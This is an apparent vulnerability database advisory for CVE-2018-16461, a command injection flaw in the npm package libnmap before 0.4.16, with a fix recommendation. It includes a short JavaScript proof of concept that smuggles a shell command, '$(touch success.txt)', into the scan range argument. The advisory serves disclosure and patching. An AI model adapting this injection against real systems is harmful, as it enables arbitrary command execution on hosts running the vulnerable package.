Most recent entries from all

cnvd-2019-01302

EUVD-2026-68132

fkie_cve-2018-16461

A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.

GHSA-7g2w-6r25-2j7p — Command Injection in libnmap

Affected: npm: libnmap

Versions of `libnmap` before 0.4.16 are vulnerable to command injection.

Proof of concept

```js const nmap = require('libnmap'); const opts = { range: [ 'scanme.nmap.org', "x.x.$(touch success.txt)" ] }; nmap.scan(opts, function(err, report) { if (err) throw new Error(err);

for (let item in report) { console.log(JSON.stringify(report[item])); } }); ```

## Recommendation

Update to version 0.4.16 or later

Most recent entries from all

cnvd-2019-01302

EUVD-2026-68132

fkie_cve-2018-16461

GHSA-7g2w-6r25-2j7p — Command Injection in libnmap

gsd-2018-16461